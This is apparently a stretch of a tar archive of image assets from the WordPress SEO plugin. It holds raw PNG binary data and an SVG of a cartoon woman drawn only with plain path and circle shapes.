����Go�m����DA.��νH���u2�u
=��x��ٛ�`��<�1ٮ׻#%�O�4�nנ�r�г��:�E��d�?z5ܫ
�rq�)� �������_�:�@�e��O�!�v�O3��rc��H'��DO�x-�>1Q����7B�ާ
��p�x�@�Iu�����Z���H��б�|��[�}��ܬ�7��*���ˍ-�Mr��O"��>�U���==�b�*�Dzd��h%�=s��*���'�t���:Ll/��5:�Z�b@_9��8��;u���:��K�J�vv����|��Hb(���lݾ֏p��+�qӵ~߫s&INO��ʼn�.�·k�'�G��p�v�#�k�H/v~-*F�n��6�n�"׹�����'���C�HΩ���:��s&�[����R�B�_���
ʲ��f�ѹ��if|�.J�lgOr�.tLt�c���Wmvk��e�q�':ǝ��N�#}�6u�$��݃��M�ˇ�,���?q3y��ȼ�=��]��M+��P?k�����u�&�m���&tJ��!����p�`�f;	_r��Y����z�"��A����Гr��Ŗ����>�&�@?e�NoÀ��w�}��NS�e�sP<��n�e,�t�K�l��]w��l��y��@�t;TQ�Da��Ͽ�O+I�~
�O�+���O��M�����J��MU��y�vcn���4�G��?�$���Е�o�)��%o��@O���7��9�����ؗF�sJ}}鮃�;�>��{��j�U=!InkI�c=���[�W�p�3&�}���>�K)	��ʒ���auD�+V.7�������r�Ns�ݦг�EӁ�Б��1�B�u�T�)?�����ޜ��W��V�t\����B��`���g���"�ɓ�q�?
=������5J��=��|�@/���RI��9�@w+�	�3鵝A)�����M�������a������%��V:�%�Z�x�t�t�Y���l@�߁����H��v\���{����^�N9�[��p�*]���U��-���w�+�AG��y�"=w�o@Ϲ4.�:�~﹯�>k�
�S�Kǿ>$��k���ً��N
K�#�̩Ή�p��4w�^N�ѻ��<�o]:2w�{�M��������}Ӌ��<�Pw�#���o%IG�l�"t�8�1����@7veߝ���qiMF:��c��:OkvO��t�K�thݻ|�8�{�jefҫ1tH�G�^���җ�%Gz�ܳ��3�K��DǶ8H��H��,3��S:Χ�#�N���@�y�+��&:�@�ʗ߬�����:�{��{]�yƮI���;=�zɀ��7�6�U�R���$Эv=�wj�y|��H��CW*=�z�?7��x�wл�̜��ێ��s��ֹW�tT �q�{���\��~�g�Ọ��(Xn���s�s�7��B禡��p��M�����e��[Z$��S�黩�:�{Qq�[c����L28�!}�)>���v�^�Z�^�o���%	tﰈ�^��N����5���	t]K_��
����<�g��Ot�?�����s�:)m3����3K3�9�<;=v���8鳳k��?�e������v����]=!I�M�V�wBto���C:SĘ�0��ͺ�F�	�R�.k��\�����?3_�r��T]�^�g$I�v-NtZ�����*t�ѕ���/ �;��>�1�g�Q\�6�/���q[��M�3��6�>��޺_���n�O��}V�tP8¶����cA���},�)P�tNFy�T�ѕu�͏-ֶ�Ez������R�_��.y-X��z�4��ፉ���O�x
���$Wf��y�P'�^��s7��o<��Ɉ����_%��ON�I�C�d��͠���p�މ�Y�v���|y ���|�N�_ĕ����k�s�`h+��J���R�q�;�-覅n
���Y�׫V�w�[���}ڹ�(FЛz���#V����g��V���#jm#t�~��3ô���p�P����>�w��_�r�;�-�?=u�Q1����7�����$�t7��s��Ǡ�ue��t6�/Agc6�:������W��{j+��Fm�k����u��R�䲠S��M��5%y8�N�@�#ұ[���ޚT�����|k�>������/��Ҽ�6�O+I�]y@Ͼ^&n��:F:�6���x�Ѝm��	��
:"���՟{��_HIRt�����^&�4
���x?�j:�=k�k�qg�.	tZ��~z��ב�#�̝�XÞ��x�"t��)��R���t��q�λ�υn��w~0�p��:X�9��Ҵ��6�wOȳ_f���D��mu]��$��:�:=
��������{�5y�sd���[a�}u��|T�.��5���r���wU�cpl�?�c���q8���n��@o<Q ��T�%�N8���S�@�[O���� �OU&��cop8���{��6'�.	t�|��A�D��꾉�
��I�!���Lg�Y��x'�.	t�KY��D�
��
:Fz�_ßvv���2m�'�۪sA���9o��'�����/��ыL�>�N��tl�G��^[9�.�:ݾ�=/���C�-~Ʒ�W���j5@o�x��(=L�l��X��nG�]v��$�m��Ρ�\�d��+��=hK���~%V�t�*�60��(�ô����ے�ͨ�Q5MÆ�f��Ժ�'mr�y��\���l���^Ş��$Iۍ<���Ϡ+2���^uS�>���#ԙ�7J'
�x=��X7]U��0��:��V*~����_�~�NI2ѷ�{���#�O&��s����[��
衈�
��l��'�ue����7����;�?�$�t��yk�7��W�0�'e.��,V��@��mLFq�W�i��k�|��a8�v���y�����o��J�F
)g�z�?�}L���7'��]�6���j3��[��Ξ{�������j<c�0�bE'Yt��5�36Bt������;{>�.t˻���l=��S�':��@��pѩ�H�"ϟ������E��h,�=[�~�[tMl��It��3��������.��S���������Ċ����9��ۃ�a��v��GFt������NF�1��ޙ�v9���+Egl�3VL�}�3
��Zr�s��v��1��^{�Y��+�
����\��Ot�!��@t�7�M/�|���+�異�j��u�6\�b�%:B���贕��)�k�/�}�[��֊��n��xU/ފn�[�3�4��h�.�趴����V�]wk���&���]�#���2
���v*���/=r��j� :m\����ík��Dg�G��)�	������zψ��,� :�V}�v�ۋ���e"kq���D�T5nFt��BVn��� :�V�Q5o�y���l��c�!##-ҷ��Lo���m:�;�]�嶛��$:C̡��R�)�������鮱�y7	�����vA{}����1rw����)�v�Iɢ_��{������vk���4/�QXItv�{\V=Jt�#w��_�F���8}j:�+ΰ���}�QX���Dž�����Q��E�4`�}�q�u�9H��V��q+��qf�5�`���[�Φ6^�p.���v�a�����
���Z�c"���{�p�y�茵�l���׿���8���n�g�D,�OV���.���j�6�_tG���?⺣��]��v�ne�$>�m�FE��h��<�g��E��k��DuG�橮��q0|�D�W/�^�\{�{�oZ�Dׄ��,z��e'�;��zm��'�G���?U�o�{�D�L�rw�,G��i4whɬ_�W����p��D�_�ˢ{�U�h�ipo�R=�����
Cu�Ss���j�
rw�Q���d/���׽㙾�_����;}Z�c|����\�]}D��>�L#]OD'����Y���^�n9�Z�]�n�<�	�M�3�ӂ��q�3��E��ΰ���nȶ�������bL_+:Q5����h�9Ft���N�{Q\�ezl+�~���.h>�P����<�d���ݣ�E��Nu��u����9�\v��kY�5g֌�hC��`N-�5�s1�sunJ�Yo��>�i���Eg�1��]���`�ѢS}���Ox�:��|����6�Z�D�4u�TA�]ӔcE��w?�6^2]h�_d�2�Dg�������*��e�}�9˞��˦O�
��
�8�᢫|%Y��/O��!���)P�,�}��v���7�%����C:�芦���>\u�����@w/�B?7�Ft�e_�[Mx�>�C[��Ckq1�{���>�~��b��.���n/Li�ٻ�eZ2��B�F9���T*�=<g��3*:��E�Qo]=4���H!��k%yP1���򲛭]�=����y��a�'�g��:��,�<�:�G&Jtvt83+U��rt�fD�#�ˋ�c�=<w�<Zt�}c�87�r�r�'!�jo�L7���I���+�Q�/�����;��/�շE4~+Q�*�1X��3�������>�y�ޖ��=��Ң�_�w���F.�JS�7���z�u�
��M]���2�Wc{���-g��B�?��=��{Ź��=�w��~Yg�~/����}(Cx5;Pt�v����,6��yζw!�K޿�ڦen�Q�K���z":
�a-��ԽCl�{γ���ަ��斿�5�3/M3Ҳ��):C~H@t�Q�1����<���>�~��S�y>�do�ի%�Sj�;���<�ﵗ-v=��Φ�a˛5��\Hg4Iݵ�����2;�^<��d+EϚ�id�e����D7�4w7t$e�R���\�r���3c�[���E;�X�Pv/I��F�(�~��C�刾�s��v At�W�����X��m��^�����/�i\х6:c������E7jK���'�d�<̻͞g��ή/��M�eё�'��jk�ʼn�N��<F��#z>=&�WF�!wi�^���X�lw,{.��5c��vmHW��c6%Pv/�����n]�'33��NF�1:!�D'��D���u���c�c�`��D����M�YZ%��1X���D�֢�����f^"���s���mt����k�d6��^)�� ���jb�Z��Ƣc6IPvW�Hѷ�/�K/�uG��s���d��B�In�#wO�R~V�_
�y��g��|b���c���
u����ڢV:F/�M-�癇�Gt��4��jH��D�,HTtzG}B�/��_�Xt"��m���f��c�	����7��D�|���ew^>��0�y����k����$(���G�B���fLM=Ɛk���]ν���0�	��Y#z��QA�y,�IX~cv1�x��O��Wt�����]ɢ#w��ʓ�^ȟ�HtF-}o:]=�3s�t:��{IoIHt&�Tt����^�Y`��i��{I���L(:#�.����ʹ�N�l+���ޓ�⣢K]t�uQt2����?�6r��,�GDϯ\�~ѭ��Atq�.��k��/�`ewu6�s�s�5/��/����/;��8�l��A����]���R��q�>�)t��_�(��4�^%z����7
��E�U��^�K��6pJ��D�7��C�`�(z�i���kKw���A�5���ng"��Nj��o���`G)p��z�_���E��t~ѳ����J���9�����1X���jя�sg|����OToXj���,��	C'�����wʥ��n�L]R}Z�k�R{'[#rwʃ�kt.љ���H�to�Tӌ���t��:4w(��t��^O�N�i�d���U��n���US���C��DgR]�螃�����$���2�+E/(�'*:�27�΄�a�-ϵb6APvWۋ�mO�I�+�%<������`A��W4�N]�b���jѕ's�F�A+�_+U�����D�^E��At�Zt �"fU+S\�3+ET��������xE��)����B����ܝyvNљAګG�!?E��w���[$�/�R�E+y'8����"D���B}�E/��$:�V�ԒQ����8m]H��.Gt����8���1X����,�3����.��|�褃D�efxя-�Sʢ��+�&���D_ZE����k0х�=���c�̰�yM"�kky�	����q%��ND��pS����EY�#o��r��Q�a�a���MDׂ�BtF+�'�>�����Nt�N�Y��&�qʜG�,R��h���FG���
�����y���[��:~\F��"(�+
B�;ɉ.��>ы��T�K���2v�G�^R�N���=3�y�˩�`r�D��FG+=EP�+'�.���`o�s�蹟��y����}�o���V:HTtm�&�.�8�"�ֳr���|��E����y@��q�h�9��8`�8m�"�3PM����]H֝�[gS�Dv�+��9��赉���������6]~%�~2�s���#FLx]4?����k���<�'���$+z'�	�����Sϙ{��L��o���KE��>":��w�v+�1~\F�E���Mt����~�/�"c(zwAt&b�O.��8��E�膘
��jEѝ�n��Ӣk���j�5z�B�
�&�r�{r���IRw
��l��0�~]��,HQteN��SpDWۊ.�&���J)�^�VtٍJ]bb�eLTw
�tp@��Eu��t��j;��Z� z�,g��Y�w]&���dU�����ɢ[�΢Ǐ�H�#w���?%��Xt=+�-�\F�
ѕ0.Cr�c������n�+�(���=D�_�m�F�(zeS^�9�U��W������,HO��c�WK*:}��膖#m�*�ё���k%Q��*"��'zgz�k�f������HAt:.uWA��B坺n:���[�˨�D��`�E���&������uӶ��v���c�kq���h����]��r~7�����!&>��EG+=EP�S�]���:�o#��n�D�`e�ҡ'��<��ѕ�9�?.#�ё��	D�ӊ�H�����b�6:r�DA�$:��Z���j�q��6:Z�2@o.�9��$�ک�U�q#�����TQ�y�������<�������]����^�HC&v�^m/:Z��2x�w@����E�X��p����q��*"C&~wyۉ��!!�>��Ew��OTP�ݐjXm�ƴݹmŮ���8�����ù]0���s�I�M5/���C%�(�j���󎦗|0�m��WuE�5��3��L�	��)u�1X`�����^��D����ta^���n�in/�3��tEⷵ��k�s���;���T|��|��痡7 t�(3���P��W��̜����pY��Q:!�o�r���!��`c�{�(��4����uX-��y�D��"'�^-��3�2	�+"�"O�yHkt�_ߎ,�L
�5	V�Gu�;�	��w��u�鎵=��t�o������欺D�����}DE�л҉���u˄����]F�"���2�?Z9΄ϧEן�i]�7�z;�:�j	0�#.��Yt�\Z����c�j��JG�F���DK���u��E���ݙm�M1�3�>,��p��ҝWwhL���Z=��sD�C�.�� /_�(�,�˞'�����Z%gC�0"��E�څ5w����U�P�eքtO��&u]
���Yj"�
���j%�劻�m$�Nj>�G�[�����l�@�E�p����y��t6���o�7yЬ�L��LD�J6y���V�G��h��X3$v�>���ݴM�z���G	�$H,���o��Do��@�T��V,|`D�����*�Q׍���\����Չg`����/`u�?Q=U���|'�ᯥ���(L����?�z%>�>ȀIEND�B`�wordpress-seo/images/mirrored_fit_bubble_woman_1_optim.svg000064400000015230147510273100020200 0ustar00<svg viewBox="0 0 299 318" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><g transform="matrix(-1 0 0 1 298.366 0)" fill="none"><circle fill="#F0ECF0" cx="131.2" cy="186.088" r="131.2"/><path d="M144.8 100.788c10.5 9 34.6 4.3 35.4 40.7-1.8-14.3-16.6-16-35.9-39.6l.5-1v-.1zm-83.8.8c3.6-1.2.5-3.3 5 3.5 4 37.1 8.6 47.9-7.8 55.8-1.6.6-4.6 1-10.1 3.3-18-25.7 1-45.6 3-67.1 4.1 3.4 8.2 5 10 4.5H61z" fill="#42210B"/><path d="M166.5 157.588c-54.6-16-50.2 7.4-54.3-23.3 7.1 1.3 20 1.8 21.8-10.4 1.8-12.2 7.2-16 10.3-22 12.4 15 27.3 21.2 30.7 56-4.2.1-7.3 0-8.5-.3zm-122-96.2a68.021 68.021 0 0 0-1.2 5.3c-18.1-24 5.7-52.2 10-54 2.6-1.1-10.4 7.2-11.8 27a47 47 0 0 0 3 21.7z" fill="#42210B"/><path d="M254.9 135.888l.2 3.5-.2-3.5zm-.8-8.9l.8 8.9-.8-8.9zm-11.1-38.4l-3.4-5.8 3.3 5.8h.1zm.4.8l.5.8-.5-.8zm2.4 4.5l.3.5-.3-.5zm-1-1.9l.3.5-.3-.5z" fill="#F4A269"/><path d="M243.7 83.188c35 57.8 6.6 68.9 23.2 85.9-4.2-4.3-7.4-5.2-10-13.5-2.4 0 1.3-40.2-13.5-66.2-5.3-9.3-4.8-6 .3-6.2zm-11.6-9.4a37.9 37.9 0 0 0 4.8 5.4 24.4 24.4 0 0 1-4.8-5.4z" fill="#CE6D42"/><path d="M220.3 61.988c1.9 1.3 2.9 1.5 2.1 3.6-2-1-3.1-2.2-2.3-4.3 2.2 1.4.7.7.3.6l-.1.1zm-2 16.4l-.5-.2.5.2z" fill="#F4A269"/><path d="M220.3 61.988c.7 0 1.1.2 2 1.3l-2-1.3zm-6.3 9.6a7.9 7.9 0 0 0 1.5.3 4 4 0 0 1-1.5-.3z" fill="#CE6D42"/><path d="M193.5 76.988c-.6-.1-2.8-.8-3-1.4a12.9 12.9 0 0 0 3 1.5v-.1zm22.8.4l-2.3-1 2.3 1z" fill="#D38053"/><path d="M217.8 78.188l.7.5c-3 2.2-1.3.2-13.5-.8 11.9.2 0-3.6 12.8.3z" fill="#F4A269"/><path d="M215.1 79.788c1.1-.2 2.6-1.5 3.4-2.1-.4-.4-.5-.2-.2-.3 2.4.7 11.2-5.8 11.5-8.2a23.2 23.2 0 0 0 .2 2.6c.2-5 6.2 14.7 21 9-7.2 5-15.1.5-14 1-10.3 5.3-12.2 8.5-22.4 3 4.6-1 4.3-3.1.5-5z" fill="#CE6D42"/><path d="M193 210.788l1.6-.4-1.6.4zm-6.8 1.5l1.5-.3-1.5.3zm27.4-14.8c-3 .4-27.4 3.3-29 1.7-.5-.4 10.2-18 10-24.1-1.6 6-12.6 18-14.9 23.8-6.5-4.1-18.7-11.2-22.7-27-2.6 6.7 2.5-6.6-27.1-15.1-5.5-3.4-9.8-4.5-12.4-5.6a128.5 128.5 0 0 1 49 6.4c3.7 1.2 31-1.5 45.2.4-5.3 8.3-2 34.8 4.5 44.9 1.2 1.8 1.8 1.3-1.2 2 1.7-.3-.3.4-1.4-7.4z" fill="#A52A6A"/><path d="M157 174.988c-.8-1.4-1-.8 0-3.1 4 15.9 16.2 22.9 22.7 27 2.3-5.9 13.3-17.8 15-23.8 0 6-10.6 23.7-10.1 24.2 1.5 1.5 26-1.4 29-1.8 2.6 8.8 15.5 5.8-30.1 15.4a158 158 0 0 1-26.5-37.8v-.1z" fill="#7C2050"/><path d="M200.3 78.488c-3.7 2-1 8.9 2.7 8.4 6.9-1 22.6-2 12.6-7a3.2 3.2 0 0 0 2.9-1.6c1.5.2 11.6-4.1 10.9-8.1 3.4 4.1 5.6 7 8.4 9a14.3 14.3 0 0 0 11.9 2.3 22.5 22.5 0 0 1-6 1.7c35 57.8 6.7 68.9 23.2 85.9-4-4.2-7.4-5.2-10-13.5-33.6 2.7-56.2 1-45.1 2.5-5.3 8.3-2 34.7 4.5 44.8 33.6-4.2 67-19.4 78.5-28.9 3-2.6 4.7-8 2.7-10.7-1.1-1.6-3-7.2-3.5-8.3-9.4-19.2 6.3-3.6-36.2-78-9.7-16.9-1.8-11.9-29-20.4.3-.2-12.5-5.2-16.1-1.4h.1c-9.4-1.3-9.5.8-10.9 3.7-4.4-1.4-8.2 1-7 3.7.3-.4-2 2.3-5.2 11-1 2.8 7.6 5 10.6 5v-.1zm-2.7-18c-.8 0-1.7.8-2.6 2 1.2-1.6 2-2.2 2.6-2z" fill="#F4A269"/><path d="M200.3 73.688a2.7 2.7 0 0 1 0-2.5c.4 3 .5 3.2 0 2.5z" fill="#F4A269"/><path d="M198 74.588c-1.8-1.4.4-4 1.9-6 6.8-9.8 4-9.3.4 2.5-.6 2.2-.5 3 2.7 4 19.2 4.8-3.1 1-5-.5z" fill="#CE6D42"/><path d="M204 61.688l.4-1.1a4.3 4.3 0 0 1-.3 1.1h-.1zm0 16.3a10.2 10.2 0 0 0-3.1.3c-8.7-2.2-9.9-3.7-8.7-6a69.8 69.8 0 0 1 4.3-8.2c3 8.6-11.1 10.8 7.6 13.9h-.1zm14.3.4c-14.7-4.4-15.5-5.2-13.4-8.7 1.2-2 6-8.2 6-10.9 3 2-5 13.4-4.6 14.1 13 5.8 13.2 5.8 12 5.5z" fill="#CE6D42"/><path fill="#A52A6A" d="M61 159.588l-2.8 1.3 2.9-1.3z"/><path d="M51.7 252.088a52 52 0 0 1-4.1-5.1c29.9-17 26.8-17.9 9.5 2.6 22.6 3.2 24.7 3.7-5.4 2.5z" fill="#7C2050"/><path d="M48.1 164.188c3.2-1.4 17.8-6.2 2.7-.6 35.7 12.2 41.2 28.1 52.3 44 10.7 0 52.5-9.3 52.5-11.1 0-5.3-5.5-27.3-25.7-39.7 33.5 9.7 21 21 53.6 56.1 21.7 21.8 17.7 32 6.7 48.4 2.5 21.9-2 34.5-4.5 43.8a130.1 130.1 0 0 1-101.7 3.5c3.7-20-17.7-38.9-33.7-58.2 1.8 1.3 5.5.9 23.5 1.6l-16.7-2.4c22.2-26.3 19-16.8-34.1 11.6a129.6 129.6 0 0 1-20-44.6c13.5-21.5 23-43 45.1-52.4z" fill="#A52A6A"/><path d="M50.8 163.588c10.5-4.2 19-5.4 19-22.8 0-9.4-4.2-36.4-3.8-35.7a27 27 0 0 0 1.7 3c11.7 19.5 30.2 57.2 46.5 39 1.8 7.7 11.1 1.7 28.5 20.5a57 57 0 0 1 13.5 29c0 2-41.3 11-53.1 11-11.1-15.9-16.6-31.8-52.3-44z" fill="#F4A269"/><path d="M66 105.288c-.1-2 13.4 19.6 46.8 29.4.5 3.2.3 7.8 1.4 12.5-16.8 18.4-35.8-19-48.1-42l-.1.1z" fill="#CE6D42"/><path d="M63.1 100.288c14.9 27.7 67.3 48.3 70.9 23.6 2.6-18.3 20.2-27.2 18-46.1-.9-7.6-3.9-14.2-6.8-16a79.4 79.4 0 0 0 .9-10.7c0-34.9-61.3-19.7-84 .9.8 7.2 3.6 16.1-2.2 24.7-7-5-10.7-9.2-17.8-6.5-13 5 14.4 39.2 21 30v.1z" fill="#F4A269"/><path d="M126.1 106.788c-1 .7-2 12.5-14.5 5.3a59.4 59.4 0 0 1-13.4-11.8 52.9 52.9 0 0 0 27.9 6.5z" fill="#D17154"/><path d="M96 99.088c12.2 2.7 15.3.9 18.6.9 2.3 0 2.6 2.4 4.3 2.5 1.7.1 2.9-1 4.5-.5 1.3.2 2 2.8 7.2 3.5-9.5 4.3-25.3-1.3-34.6-6.4z" fill="#B24736"/><path d="M86.7 65.988c4.2 6 17.4 5.5 21.8 3a12.4 12.4 0 0 0-12-8.6c-7.3-.2-7.5 4.4-9.8 5.6zm10.1-5.2c6.5.3 6 10-.4 9.7-6.4-.3-6-10 .4-9.8v.1z" fill="#FFF"/><path d="M96.5 60.288c-10.1-.2-6.7 8.7-13.8 5 .5-.9 2.6 1 3.5-2 2.1-6.6 9-7.4 15-5.2 7 2.5 8.2 10.7 7.5 11a12.7 12.7 0 0 0-12.2-8.8z" fill="#000"/><path d="M128 65.788l1.4 2.2c7.3 1.4 14 .7 14.8-6.8-.8-.5-1.4-1.4-2.3-2-3.6-2.8-11-.9-14 6.6h.1zm6.7-6.4c5.8 0 5.8 8.8 0 8.8s-5.9-8.8 0-8.8z" fill="#FFF"/><path d="M142 59.088c-3.7-2.7-11.2-.8-14 6.7l-1-1.3c1.6-10.7 16.6-13.3 18.2-5.1.4 2 2 1 2.4 1.5-3.3 2-3.8-.5-5.7-1.8h.1z" fill="#000"/><path d="M44.5 61.388c-10.5-26 2.1-64.4 51.7-61.2 12.1.8 30.6 6 38.4 16.5-22.5-14.1-78.6 3-90 44.7h-.1z" fill="#42210B"/><path d="M52 70.988c0-6.7 3.9-13.2 10.2-19 .7 7.2 3.5 16.1-2.3 24.7l-7.9-5.7z" fill="#42210B"/><path d="M128 65.788c3 4.5 13.5 21.8 10.3 26.1-1.8 2.5-13.3.5-20-2 5.2-1 14.1 1 15.8-.6 3-5.7-8.3-20.8-10.4-26.2-1.8-4.4-2.7-7.8 5.9-11.2-8.8 5.1-6.1 7.5-1.7 13.9h.1z" fill="#CE6D42"/><path d="M52 70.988c-6.4-3.8-10.6 2-7.4-9.6 13.3-48.5 87-63.6 98-35.3 2.4 6 4.3 13.1 2.7 19.4-5.8-32-93.7-6.1-93.3 25.5z" fill="#80C416"/><path d="M106.3 46.788c-7.4 0-12.5-4.5-24.9 3.3 5.6-11.3 34-4.7 24.9-3.3zm25.1 4.7a11.9 11.9 0 0 1 9.4-3.7c4.7.7 6.4 4.4 5.3 5.4-3.6-5.1-8.6-3.4-14.7-1.7zm-34.6 9.2c6.5.3 6 10-.4 9.8-6.4-.2-6-10 .4-9.8zm37.9-1.3c5.8 0 5.8 8.8 0 8.8s-5.9-8.8 0-8.8z" fill="#000"/><path d="M103.6 96.488c-11 .9-8.8-7-12.2 8.3-1-3.5-1.8-6.1 0-10.8 3.2.4 5.3-.3 11.1-2.2 9-3 6.6-7.7 12.7-8-5.2 1.2-3.2 12.2-11.6 12.9v-.2z" fill="#CE6D42"/><path d="M99.5 275.788c-5.7-3-16.4-17-14.6-25.4 13 18.6 33.3 23 52.1 20.5-9.8 4.9-28.3 9.7-37.5 4.9z" fill="#7C2050"/><path d="M56.4 81.788c-.3.5-3.5 3.4 0 4.4 2.3.8 4-.3 4 1.5 0 1.2.5 2.7-1.3 2.8 1.3-2.8-2-3-3.4-1.9s-6.6-3.3-1-6.9c-4.9-3.2-9.8-9-9.7 1.4-4.9-7.3-.2-14.8 11.4-1.3zm164.3-11.5c-.5 1.4.8 1.8-.7 3.3 2.3-1 3.8-2.7 1.5-3.7 1 .4 2-1.6 2.2-2.6-.6.2-.3 0 0 0 5.8-2.2 6.4 3 6.7 3.4 1.8-2.2 0-6-4.7-6.3-2.1-.2.2-2-7.9-4.1 3.6 1 4.7 2.9 5.2 4.4-1.4-3.6 1 7.1-7.6 7.2 4.2.3 4.9-.9 5.3-1.6zm.7-.4z" fill="#CE6D42"/></g></svg>wordpress-seo/images/seo_analysis.png000064400000033723147510273100014034 0ustar00�PNG


IHDR�����`PLTEe"/<$ [e>f�|}�������ZVY��™�ζ�ɺ�����Ó��_/x�R������������L�6����%�ײ�h�I����A��0���x�7.IDATx��1r!�Q����ً�*yĎ����:��h�/�S=4`�����S�wذ����Tڍ��)?hv�|�|U�1FO�-P����2�ހm2�O�Q��a���Ksx��A�-/����i��:j\���k��r��~��N��vm��� ��iH}�x����W}Rz��C�B����c�S��
��opSj����u�K���
]�u.Y�g��}L�	]�s�3yQz��nr��4��{��ߦ�`<#i`�Ҟv�����)V�e+p����[��� ���DR0^r/����Y�O��+2���\�:�]a΂�*��9������C��(���I����DbL;���|�н�`G����g� &e_��#xV0�8C���Ej������P0�Lp���Â�	Z�@}��`���c�=�,�?^cc��I����
f�8�.��(C��/�ռ�դ3���n�c�ocթ}�-�\��/�C鏇^d��ރ C�q��sD��2<��/��m$�)C���>[�sаtQm=�M�T�|^�/;��W�X������}�Y�� �<}���#}M�_p���=)�ܲ�?{��^�#}M�KO=;�$8O`�������=�3��*�^:�#}=�˅OX��y�h��
G�bLV}�cC�%LξEp���6���ѳذ�xd݇�����'1t��1��f�7=��B��/"}�����OT��;J��@�5�����t��s�I!�³sD)	&�(t)Q����t���W���H�������z��$�xv�Jy:�a�C�r�z��θl�p\��X
:��b+���F�=TIW�K)�Dv���Mtn
��_v���ҹO�|��as1�a3�$1[�ꮥ�犡�_�=w^^�~(#��0ݷ-tPD��Ϊ�q]~
]2���!'�z�̜�O�re����[e���#}3�P�C�wH"���q��!��ԩ���>}ʜ����l��d��iι���*�EӰ�f+�|�N�x|1��|D;�:ﵞ����c�Pu���
��8硞=�� ��������3��|&�}��y�<^׌�C�гs^tǏΣS�,|�w�f
��������>3��]W���sE�H�4�!�����=��I�j�u{�@ut�2�Ec��K�Gt�S���Xz�
��"9_�V�JO�І����&�]j�����뵠g�	ҋ��}�h��C��H�kB'�
�Ev�c��V�iTu�bB{����f]�����������8)z�!<�;|tN���:
�aw�&���iq
76�`EL�!Hg	��)���v���τ	%������q+��Ig��+�t��m@��ܟ:�Y�"<M}!�:G���Dn�1te4�)7F )��x��<�#W��_�K3�C������^��1���Ĺr�l]��@W�[h��p8��PM��V����t��d2���Ι��9<���-�����<���x�■v�l�W��8�;�z�M��4��NϺ{��@�=.=t��_f>�OF4��r��}�(�v�v�p���."���I�\�&t���]�?�*�K��,�����?K�W��:W�l��0�B���C爞x�k���#�e��Rx3t����Rr��.HWU͝�#���t�h΁�p�R_@[���{��:we�\��6q�2]���p�*���K�J"}��g�=��k8u&M;�ɸ��z�P��|�.��_.�w�K�&���D�-�6�3��:g���&�Ρm�Y�9�|�:y�D�r�_"���#Ot9=;e�G�08g�N�W�3�W�r��ઉ~����-����鑁Ћd��[���Ƕ��J):�޸tNj�X����jvƹ�������Qc��;���.�>�|o�;����0>���A�$%J�7B'���,F��Z��)P�I�g?
���ud�{���ʝ�AwB?݇�S��}Nz��D)���+�N�ko�M�����y�\{G���:��6
�W�.C_(��$��Ǐѽ����l��s��7�N�H�on����&ՠ�C��]�|T}������.IxN��|2n�Ct^����蘭i�m|8^��f�/)����X
���<׸+T+)�v��N3i�e���ǥ"Ћ��@�E��o��,tq�
�H������n���X�$@C����4{��2�-�#���Cqj��6C�'�f��㫰3��8P���3�Cy�t`���C����]������;��V�o|..r�^Q�3 �\�GL���l��-���sr#�Ke�z��>d������~E9��a|��kg':��7�Nc�z�pJ2�]��g��w��+�؞wF>�Ip̽
���~É��Z�]���s�!z�=����ĕ�������Y<>:�C�F��3��9Y�wA�/�	���\�bZ�w����NJ)$�灞�g�m3�@��s��H�Z������q�o��9pzB�rN�}M葝�E�87���*��E���Z�`;�|��;)��1i��h�g��v�Ť���]���WA��]�1tv����K��1D����+���B�{�4o8C����H4�|Xғ�:��==���=�x�@�O:����� ��$�#��譠szzU��f�3�����8�9��p5���-(������}q�(�_�{d
:$"�Q�M��}H��g�s���������'��%�t;;Gq
���މ�Z-ZxY�]
k�?
����"rD����D`��?֝���C�}]^���#=���8�zKBP;j�~ʺ�:��=	Q;�З���\%9ڀ+Xg��/��A�PX�a�DtDH�Q�H9D ��z����"=� n�e;_=g��8W�S�_B��K�Е�
i�6D�qD�y�d #�sFIX S�J�w�Jp �7V+Qm=CO�!t���8�s������
/����r�J)�G�;�1Q ȑ ���P[�Wt"�QK��$���c���Hu.��g�� |��1�]�@GTJ!�6�m$3ɦA��r�47Bе��㈬%p�I�ݣV�8���A��OB��i3g�|��g�χ����Е�DJ�]W����J��PC
���A�!�1 �)tGh
�z�~(�'f��n��
�/�/$O��t�
^�ok޼t@�J��R	m�Zc��~JcLJ֘�f|����7�>>�nϿ�Ɵ�g��#�����,�g�o���_ތ����)t�P�g��?����e:K�"С��x�B�W��k��GB��%�RDO	=C�й�/h��"�ʼ�ڦO�a y,��HkC'"d�s��c�cU�T�3�ȕ�BoP��B��U�F�6t*"��@�,0-�1;ӣ&z���==>��z;��Zۊsm(9(6��
��R$�q2./�s�#=r�=>л���x��Iq��=�x�:(�-�g�zy�@��y׍��:�!�z �����=7�=C/�[�Ct������ ] C���??J��Ρ�� �IJ��4t��e��wM�w�y�{d�L"t�1���0@��^�~˙�z%��Ђ*#�S��-�#4N�~���H�Ym*�_�*C_�cr�-�c+w�[���qԴ|s.�3�:��	�� !A�*�/iA�l�3�C�b�fz7.�Ó�\�<>�3�#i!���*GB�0B$$B
@;����q�"лv�޴�A:�#�2f��&��'}���
���R��(Cʳq=,rΝ}�����a�q༝��!��@�wZ휶���u�]�tB���W��}�󜍋@��Et�{��2t��|5��m۬��@w�Ø���13�BcH�[��~�/����~e�L��;� v��W�O�y�z��=���A�y>�n��Y�+�ͳ@��9����8�ԟ�낫k��w����zm�on��}�.��C�{���b��۳��D�f��1b��栟G�| ��7�2��y����9��x�ݴ-s�xpu����۶�7����n	�g���C�z�ΐ�˳j�8�vo>v���o�G육�l	�p�O=C��1�\�N����?O�@�w|��kۓm�W���oo�S�z��u�"�����E�̧
��wޅO�����|����sG�qz.��V�\��1zP7|`�������Y��GBWsЏ?}��q��Ї2�"�5���] ���@���َ^��=���3�']�с�	(���X	A1�]��������|�#��A�=��"��t�46�����睇�K��)�=��{>�:뜋�_�Ϡwcms
zx*.Cwa@����=��GZ"�c��ϡ��+�۶	yO����Թ�W˫��?�'��K�n��+=z��@O�N�u3m��{{a�k۶����߭���C�t�AW�߳�Nu�#��������^��t�,���螅�����|�ۦ�~��_6�n>������=���BD��v{)������i���Z:�ا�g�;Υ9�CwKB�&�5���u~�נ���t��Wk��ua���@�ա�E��?u8�ܗ=�rЭ�)���ʇ-��(b�=u�T����S}�@K��<�/�y���geLx�tc�
